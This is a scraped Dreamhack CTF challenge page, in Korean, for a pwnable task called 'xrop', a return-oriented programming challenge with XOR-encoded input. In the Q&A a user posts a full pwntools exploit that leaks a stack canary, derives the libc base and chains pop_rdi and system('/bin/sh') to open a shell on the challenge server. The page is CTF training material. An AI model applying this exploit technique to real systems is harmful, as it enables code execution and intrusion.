LEVEL 3

xrop

pwnable
  • 문제 정보
  • 풀이 20
  • 난이도 투표 46
  • 질문 2
  • 최근 풀이자 122
  • 댓글 2
해당 문제는 Dreamhack CTF Season 7 Round #2 (🌱Div2) 에 출제된 문제입니다.

문제 설명

Description

General ROP, but input is xored?

난이도 투표 46

질문 2

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
도커에선 되는데 왜 서버에서 안될까요!
문제 파일에서 제공된 Docker환경에서 익스플로잇은 잘 됩니다 일단 카나리 릭은 잘 되는 것 같은데 라이브러리가 도커랑 다른걸까요.. 아래는 도커에서 이것저것 확인해본 것들입니다. 맨 밑에 코드 첨부되어있어요 image.png image.png image.png from pwn import * def enc(data): data = bytearray(data) # 변경 가능한 형태로 변환 for i in range(1, len(data)): data[i - 1] ^= data[i] return bytes(data) def dec(data): data = bytearray(data) # 변경 가능한 형태로 변환 for i in range(len(data) - 1, 0, -1): # 역순으로 연산 data[i - 1] ^= data[i] return bytes(data) p = remote('localhost',8080) p = remote('host3.dreamhack.games', 16230) cnry 획득 payload = b'' for i in range(1,0x1a,1): payload += chr(i).encode() p.sendafter("Input: ",payload) p.recvuntil(': ') p.recvn(0x19) cnry = b'\x00'+p.recvn(7) ret_addr 로 libc_base 획득 payload = b'' for i in range(1,0x29,1): payload += chr(i).encode() p.sendafter('Input: ', payload) p.recvuntil(': ') p.recvn(0x28) ret_addr = u64(p.recvn(0x6)+b'\x00\x00') ret_addr = __libc_start_call_main+128 __libc_start_main은 call_main+0xb0 lib의 start_main은 0x29dc0 lib 베이스 주소는 ret_addr-128+0xb0-0x29dc0 libc_base = ret_addr-128+0xb0-0x29dc0 system = 0x50d70 + libc_base binsh = 0x1d8678 + libc_base pop_rdi = 0x2a3e5 + libc_base ret = 0x29139 + libc_base payload = dec(b'exit\x00'.ljust(0x18,b'\x00') + cnry + b'12345678' + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)) p.sendafter(": ",payload) p.recvuntil(': ') p.interactive() `
돈이되고싶은굳
LEVEL 3

xrop

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

미래 해커
대표 업적 없음
출제된 지 43분 만에 풀이 완료!

최근 풀이자 122

avatar
DA2RIM
리버싱 졸업
cccclllllhhhhnn
강의 수강: 1
avatar
st4rlight
레이서
avatar
leesu0605
대표 업적 없음
avatar
wiimdy
세계수
avatar
obiwan
조커
hyxn
시스템 해킹 졸업
외눈물고기
대표 업적 없음
shhhh
대표 업적 없음
avatar
B1ackCat
시스템 해킹 고인물

댓글 2

avatar
Rootsquare
바탈리온
XOR 연산 결과가 공격이 가능한 형태가 되게 만들기
avatar
M200is
강의 수강: 50
포너블 잘해놓고 연산을 못했던...